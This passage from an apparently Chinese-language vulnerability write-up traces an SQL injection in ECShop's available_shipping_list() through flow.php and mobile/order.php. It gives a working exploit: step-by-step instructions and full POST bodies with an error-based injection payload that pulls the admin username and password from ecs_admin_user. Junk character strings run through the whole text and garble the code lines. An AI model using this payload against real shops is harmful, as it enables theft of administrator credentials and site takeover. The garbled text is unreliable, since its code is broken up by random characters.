2 q1 w" N2 s" o9 v0 x06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . * a. I) z# \# \7 T
8 k% m+ F9 h4 \* N
07 $GLOBALS['ecs']->table('area_region') . ' AS r '. ; j# k1 U, f( o+ d1 B
; o; s- ^2 O5 u, C08 'WHERE r.region_id ' . db_create_in($region_id_list) . 9 {0 K, W. \! S1 w/ J0 s' M6 @9 [) Q% ~) Q3 w) {% V1 w% X
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; 4 A0 |! |2 \% X" m & Q9 X2 ?1 \/ M9 C4 I- n( `; p10 - c' v1 B2 f. _# L# _1 \& r
9 E# g! \1 r* a- A
11 return $GLOBALS['db']->getAll($sql); 2 V) k; c. j9 u, f
. i% ?6 R7 r% {2 O7 k1 R( h& j* S
12 } 1 p s1 t0 e' a
6 S+ N! i1 ]* ]- D& f
显然对传入的参数没有任何过滤就带入了查询语句。" @" w2 O4 T; R# r
3 \- }: k* o8 r7 ~9 l
下面我们追踪这个函数在flow.php中:- e4 [9 N8 E) Z P; s
第531行: ' V* r0 J/ `) R
* W3 m2 t* l* I3 j- {6 w. t; ^' e
1 $shipping_list = available_shipping_list($region); " O3 V' |) P, K* A% _' `4 e4 w+ }7 j7 d. N
9 m) Y, {8 q4 y, ~
. }+ Q8 }) i( Z3 ?
- W% M/ N* b8 c; K! C
0 c5 w3 `2 U0 s0 _, j" T
再对传入变量进行追踪: 7 v+ n3 \3 j6 x1 v 2 A0 e: M+ r7 m" y1 F第530行: # x# B/ D3 }" I3 u4 f( J5 ]8 ~$ W0 Y- z+ M# t* l
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); $ T. `/ o8 `% {* m/ _1 r; o% s8 P3 w' ]7 c1 o! A+ e. y) Y4 v
% f0 c: m9 c: C p
& ?* k- y4 p" k0 m) o # v7 F4 g% I( l# T* d& w k" B1 http://127.0.0.1/ecshop/flow.php 3 v: h1 C6 K& u5 f$ A 8 v; P- O0 i; x! S+ K7 o* M2 ~0 u" [6 p! |5 J* Z9 Q4 }; f9 X" G* W. u7 s4 j+ ?
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= , n9 ^! s. c S1 W: f8 v
举一反三,我们根据这个漏洞我们可以继续深入挖掘:8 x0 t4 c& y) P. H
; g! N7 j. h8 B/ j' b我们搜寻关键函数function available_shipping_list() 9 B+ a4 |, C) J& h; P- P" W* J8 |& S W; m( m9 n' s
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同6 Q/ {6 V: ?, I6 ^& }- i6 A9 h
5 }; |0 F. L0 s+ W- S# D* a
利用exp:1 h) G2 F' T5 {1 j& K p% z
2 j: S9 Y( p' s. E! u2 S+ a" I! b1.点击一个商品,点击购买商标& I$ r. ^8 N+ h9 Q& Z
5 ~3 u* b3 o7 i. G, }2.登录会员帐号* l8 ^$ m- `& g8 E: O% [7 d
. n% @; C. `6 D/ a& j- [6 i
3.post提交: # R( q9 v# R4 O9 p 3 \+ M2 P/ s+ s# i. Z6 j6 Nhttp://127.0.0.1/ecshop/mobile/order.php , h2 @" p- u1 c1 Q9 G . I+ G) q. \ H$ z/ f , L6 y) T2 ~' w" g0 t
% a! u: ~3 q0 W1 G I6 N, H kcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id= " \" a ]3 u8 r( R( Z8 a) M' p & u' T+ _1 }1 W, R. z/ D